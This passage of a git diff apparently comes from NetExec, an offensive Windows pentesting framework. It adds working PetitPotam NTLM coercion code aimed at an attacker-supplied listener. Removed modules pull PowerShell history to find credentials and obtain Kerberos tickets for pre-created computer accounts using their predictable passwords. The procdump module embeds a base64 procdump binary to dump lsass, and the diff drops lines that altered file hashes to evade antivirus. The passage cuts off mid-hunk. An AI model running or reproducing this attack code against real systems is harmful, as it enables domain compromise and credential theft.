@@ -18,4 +37,254 @@ class NXCModule:
             self.pipe = module_options["PIPE"]
 
     def on_login(self, context, connection):
-        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+        dce = coerce(
+            connection.username,
+            password=connection.password,
+            domain=connection.domain,
+            lmhash=connection.lmhash,
+            nthash=connection.nthash,
+            aesKey=connection.aesKey,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            pipe=self.pipe,
+            do_kerberos=connection.kerberos,
+            dc_host=connection.kdcHost,
+            target_ip=connection.host,
+            context=context,
+        )
+        if efs_rpc_open_file_raw(dce, self.listener, context):
+            context.log.highlight("VULNERABLE")
+            context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
+            try:
+                host = context.db.get_hosts(connection.host)[0]
+                context.db.add_host(
+                    host.ip,
+                    host.hostname,
+                    host.domain,
+                    host.os,
+                    host.smbv1,
+                    host.signing,
+                    petitpotam=True,
+                )
+            except Exception:
+                context.log.debug("Error updating petitpotam status in database")
+
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__(self):
+        key = self.error_code
+        if key in system_errors.ERROR_MESSAGES:
+            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
+            return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
+        else:
+            return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
+
+
+################################################################################
+# STRUCTURES
+################################################################################
+class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
+    align = 1
+    structure = (("Data", "20s"),)
+
+
+class EFS_EXIM_PIPE(NDRSTRUCT):
+    align = 1
+    structure = (("Data", ":"),)
+
+
+class EFS_HASH_BLOB(NDRSTRUCT):
+    structure = (
+        ("Data", DWORD),
+        ("cbData", PCHAR),
+    )
+
+
+class EFS_RPC_BLOB(NDRSTRUCT):
+    structure = (
+        ("Data", DWORD),
+        ("cbData", PCHAR),
+    )
+
+
+class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
+    structure = (
+        ("Type", DWORD),
+        ("Data", DWORD),
+        ("cbData", PCHAR),
+    )
+
+
+class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
+    structure = (
+        ("Lenght", DWORD),
+        ("SID", RPC_SID),
+        ("Hash", EFS_HASH_BLOB),
+        ("Display", LPWSTR),
+    )
+
+
+class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
+    structure = (
+        ("Lenght", DWORD),
+        ("SID", RPC_SID),
+        ("Hash", EFS_CERTIFICATE_BLOB),
+    )
+
+
+class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
+    align = 1
+    structure = (
+        ("Cert", DWORD),
+        ("Users", ENCRYPTION_CERTIFICATE_HASH),
+    )
+
+
+class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
+    structure = (
+        ("Type", DWORD),
+        ("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
+        ("Certif", ENCRYPTION_CERTIFICATE),
+        ("Blob", EFS_RPC_BLOB),
+    )
+
+
+class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
+    align = 1
+    structure = (("Data", ":"),)
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+class EfsRpcOpenFileRaw(NDRCALL):
+    opnum = 0
+    structure = (
+        ("fileName", WSTR),
+        ("Flag", ULONG),
+    )
+
+
+class EfsRpcOpenFileRawResponse(NDRCALL):
+    structure = (
+        ("hContext", EXIMPORT_CONTEXT_HANDLE),
+        ("ErrorCode", ULONG),
+    )
+
+
+class EfsRpcEncryptFileSrv(NDRCALL):
+    opnum = 4
+    structure = (("FileName", WSTR),)
+
+
+class EfsRpcEncryptFileSrvResponse(NDRCALL):
+    structure = (("ErrorCode", ULONG),)
+
+
+def coerce(
+    username,
+    password,
+    domain,
+    lmhash,
+    nthash,
+    aesKey,
+    target,
+    pipe,
+    do_kerberos,
+    dc_host,
+    target_ip=None,
+    context=None,
+):
+    binding_params = {
+        "lsarpc": {
+            "stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
+            "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
+        },
+        "efsr": {
+            "stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
+            "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
+        },
+        "samr": {
+            "stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
+            "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
+        },
+        "lsass": {
+            "stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
+            "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
+        },
+        "netlogon": {
+            "stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
+            "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
+        },
+    }
+    rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
+    if hasattr(rpc_transport, "set_credentials"):
+        rpc_transport.set_credentials(
+            username=username,
+            password=password,
+            domain=domain,
+            lmhash=lmhash,
+            nthash=nthash,
+            aesKey=aesKey,
+        )
+
+    if target_ip:
+        rpc_transport.setRemoteHost(target_ip)
+
+    dce = rpc_transport.get_dce_rpc()
+    dce.set_auth_type(RPC_C_AUTHN_WINNT)
+    dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+    if do_kerberos:
+        rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
+        dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+    context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
+    try:
+        dce.connect()
+    except Exception as e:
+        context.log.debug(f"Something went wrong, check error status => {e!s}")
+        sys.exit()
+    context.log.info("[+] Connected!")
+    context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
+    try:
+        dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
+    except Exception as e:
+        context.log.debug(f"Something went wrong, check error status => {e!s}")
+        sys.exit()
+    context.log.info("[+] Successfully bound!")
+    return dce
+
+
+def efs_rpc_open_file_raw(dce, listener, context=None):
+    try:
+        request = EfsRpcOpenFileRaw()
+        request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
+        request["Flag"] = 0
+        dce.request(request)
+
+    except Exception as e:
+        if str(e).find("ERROR_BAD_NETPATH") >= 0:
+            context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
+            context.log.info("[+] Attack worked!")
+            return True
+        if str(e).find("rpc_s_access_denied") >= 0:
+            context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
+            context.log.info("[+] OK! Using unpatched function!")
+            context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
+            try:
+                request = EfsRpcEncryptFileSrv()
+                request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
+                dce.request(request)
+            except Exception as e:
+                if str(e).find("ERROR_BAD_NETPATH") >= 0:
+                    context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
+                    context.log.info("[+] Attack worked!")
+                    return True
+                else:
+                    context.log.debug(f"Something went wrong, check error status => {e!s}")
+        else:
+            context.log.debug(f"Something went wrong, check error status => {e!s}")

nxc/modules/pi.py

@@ -1,8 +1,8 @@
 from base64 import b64decode
 from sys import exit
-from os.path import abspath, join, isfile
-from datetime import datetime
-from nxc.paths import DATA_PATH, TMP_PATH
+from os import path
+
+from nxc.paths import DATA_PATH
 
 
 class NXCModule:
@@ -25,13 +25,9 @@ class NXCModule:
         self.pi = "pi.exe"
         self.useembeded = True
         self.pid = self.cmd = ""
-        
-        with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
+        with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
             self.pi_embedded = b64decode(pi_file.read())
 
-        # Add some random binary data to defeat AVs which check the file hash
-        self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
-        
         if "EXEC" in module_options:
             self.cmd = module_options["EXEC"]
 
@@ -40,11 +36,11 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.useembeded:
-            file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
+            file_to_upload = "/tmp/pi.exe"
             with open(file_to_upload, "wb") as pm:
                 pm.write(self.pi_embedded)
         else:
-            if isfile(self.imp_exe):
+            if path.isfile(self.imp_exe):
                 file_to_upload = self.imp_exe
             else:
                 context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/powershell_history.py

@@ -1,60 +0,0 @@
-from os import makedirs
-from os.path import join, abspath
-from nxc.paths import NXC_PATH
-from io import BytesIO
-
-
-class NXCModule:
-    # Module by @357384n
-    # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
-
-    name = "powershell_history"
-    description = "Extracts PowerShell history for all users and looks for sensitive commands."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-    false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
-    sensitive_keywords = [
-        "password", "passw", "secret", "credential", "key",
-        "get-credential", "convertto-securestring", "set-localuser",
-        "new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
-        "invoke-webrequest", "invoke-restmethod"
-    ]
-
-    def options(self, _, module_options):
-        self.export = bool(module_options.get("EXPORT", False))
-
-    def on_admin_login(self, context, connection):
-        for directory in connection.conn.listPath("C$", "Users\\*"):
-            if directory.get_longname() not in self.false_positive and directory.is_directory():
-                try:
-                    powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
-                    for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
-                        if file.get_longname() not in self.false_positive:
-                            file_path = f"{powershell_history_dir}{file.get_longname()}"
-                            
-                            buf = BytesIO()
-                            connection.conn.getFile("C$", file_path, buf.write)
-                            buf.seek(0)
-                            file_content = buf.read().decode("utf-8", errors="ignore")
-                            keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
-                            if len(keywords):
-                                context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
-                            else:
-                                context.log.highlight(f"C:\\{file_path}")
-
-                            for line in file_content.splitlines():
-                                context.log.highlight(f"\t{line}")    
-                            if self.export:
-                                filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
-                                export_path = join(NXC_PATH, "modules", "powershell_history")
-                                path = abspath(join(export_path, filename))
-                                makedirs(export_path, exist_ok=True)
-                                try:
-                                    with open(path, "w+") as file:
-                                        file.write(file_content)
-                                    context.log.highlight(f"PowerShell history written to: {path}")
-                                except Exception as e:
-                                    context.log.fail(f"Failed to write history to {filename}: {e}")
-                except Exception:
-                    pass

nxc/modules/pre2k.py

@@ -1,126 +0,0 @@
-import os
-from impacket.krb5.kerberosv5 import getKerberosTGT
-from impacket.krb5.ccache import CCache
-from impacket.krb5.types import Principal
-from impacket.krb5 import constants
-
-from nxc.parsers.ldap_results import parse_result_attributes
-from nxc.paths import NXC_PATH
-
-
-class NXCModule:
-    """
-    Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
-    Module by: @shad0wcntr0ller
-    """
-    name = "pre2k"
-    description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        pass
-
-    def on_login(self, context, connection):
-        try:
-            ldap_connection = connection.ldap_connection
-
-            # Define the search filter for pre-created computer accounts
-            search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
-            attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
-
-            context.log.info(f"Using search filter: {search_filter}")
-            context.log.info(f"Attributes to retrieve: {attributes}")
-
-            computers = []
-
-            try:
-                # Use paged search to retrieve all computer accounts with specific flags
-                search_results = connection.search(search_filter, attributes)
-                results = parse_result_attributes(search_results)
-                context.log.debug(f"Search results: {results}")
-
-                for computer in results:
-                    context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
-                    # Check if the account is a pre-created computer account
-                    if int(computer["userAccountControl"]) == 4128:  # 4096 | 32
-                        computers.append(computer["sAMAccountName"])
-                        context.log.debug(f"Added computer: {computer['sAMAccountName']}")
-
-                # Save computers to file
-                domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
-                output_file = os.path.join(domain_dir, "precreated_computers.txt")
-
-                # Create directories if they do not exist
-                os.makedirs(domain_dir, exist_ok=True)
-
-                with open(output_file, "w") as file:
-                    for computer in computers:
-                        file.write(f"{computer}\n")
-
-                # Print discovered pre-created computer accounts
-                if computers:
-                    for computer in computers:
-                        context.log.highlight(f"Pre-created computer account: {computer}")
-                    context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
-                else:
-                    context.log.info("No pre-created computer accounts found.")
-
-                # Obtain TGTs and save to ccache
-                ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
-                os.makedirs(ccache_base_dir, exist_ok=True)
-
-                successful_tgts = 0
-
-                for computer in computers:
-                    machine_name = computer[:-1].lower()  # Remove trailing '$' and convert to lowercase
-                    if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
-                        successful_tgts += 1
-
-                # Summary of TGT results
-                context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
-
-            except Exception as e:
-                context.log.fail(f"Error occurred during search: {e}")
-
-            ldap_connection.close()
-            return True
-
-        except Exception as e:
-            context.log.fail(f"Error occurred during LDAP connection: {e}")
-            return False
-
-    def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
-        try:
-            userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
-            password = username[:14]  # Password is the first 14 characters of the machine name in lowercase
-            context.log.info(f"Getting TGT for {username}@{domain}")
-
-            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
-                clientName=userName,
-                password=password,
-                domain=domain,
-                lmhash="",
-                nthash="",
-                aesKey="",
-                kdcHost=kdcHost,
-                serverName=None
-            )
-
-            self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
-            context.log.success(f"Successfully obtained TGT for {username}@{domain}")
-            return True
-        except Exception as e:
-            context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
-            return False
-
-    def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
-        try:
-            ccache = CCache()
-            ccache.fromTGT(ticket, sessionKey, sessionKey)
-            ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
-            ccache.saveFile(ccache_filename)
-            context.log.info(f"Saved ticket in {ccache_filename}")
-        except Exception as e:
-            context.log.fail(f"Failed to save ticket for {username}: {e}")

nxc/modules/printerbug.py

@@ -1,20 +0,0 @@
-class NXCModule:
-    name = "printerbug"
-    description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.listener = None
-
-    def options(self, context, module_options):
-        """LISTENER    Listener Address (defaults to 127.0.0.1)"""
-        self.listener = "127.0.0.1"
-        if "LISTENER" in module_options:
-            self.listener = module_options["LISTENER"]
-
-    def on_login(self, context, connection):
-        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')

nxc/modules/printnightmare.py

@@ -1,6 +1,6 @@
 import sys
 from impacket import system_errors
-from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
+from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.structure import Structure
 from impacket.dcerpc.v5 import transport, rprn
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -39,8 +39,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
-        target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
-        stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
+        stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
 
         context.log.info(f"Binding to {stringbinding!r}")
 
@@ -56,13 +55,12 @@ class NXCModule:
         )
 
         rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
-        rpctransport.setRemoteHost(target)
+
+        rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         try:
             dce = rpctransport.get_dce_rpc()
-            if connection.kerberos:
-                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
             # Connect to spoolss named pipe
             dce.connect()
             # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
@@ -102,12 +100,7 @@ class NXCModule:
             if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
                 context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
                 return True
-            context.log.fail(f"Unexpected error: {e}")
-        except DCERPCException as e:
-            if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
-                context.log.info("Not vulnerable :'(")
-                return False
-            context.log.fail(f"Unexpected error: {e}")
+            raise e
         context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
         return True
 

nxc/modules/procdump.py

@@ -4,11 +4,9 @@
 
 import base64
 import re
+import sys
 import pypykatz
 from nxc.helpers.bloodhound import add_user_bh
-from nxc.paths import TMP_PATH
-from os.path import abspath, join
-from datetime import datetime
 
 
 class NXCModule:
@@ -32,11 +30,9 @@ class NXCModule:
             "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 truncated
         )
         self.procdump = "procdump.exe"
-        self.procdump_path = abspath(TMP_PATH)
+        self.procdump_path = "/tmp/"
         self.dir_result = self.procdump_path
         self.useembeded = True
-        # Add some random binary data to defeat AVs which check the file hash
-        self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
 
         if "PROCDUMP_PATH" in module_options:
             self.procdump_path = module_options["PROCDUMP_PATH"]
@@ -81,10 +77,7 @@ class NXCModule:
         else:
             context.log.fail("Process lsass.exe error un dump, try with verbose")
 
-        if not dump:
-            self.delete_procdump_binary(connection, context)
-            return
-        else:
+        if dump:
             regex = r"([A-Za-z0-9-]*.dmp)"
             matches = re.search(regex, str(p), re.MULTILINE)
             machine_name = ""
@@ -92,18 +85,22 @@ class NXCModule:
                 machine_name = matches.group()
             else:
                 context.log.display("Error getting the lsass.dmp file name")
-                return
+                sys.exit(1)
 
             context.log.display(f"Copy {machine_name} to host")
 
-            with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
+            with open(self.dir_result + machine_name, "wb+") as dump_file:
                 try:
                     connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
-                    context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
+                    context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
-            self.delete_procdump_binary(connection, context)
+            try:
+                connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
+                context.log.success(f"Deleted procdump file on the {self.share} share")
+            except Exception as e:
+                context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
 
             try:
                 connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
@@ -111,7 +108,7 @@ class NXCModule:
             except Exception as e:
                 context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
 
-            with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
+            with open(self.dir_result + machine_name, "rb") as dump:
                 try:
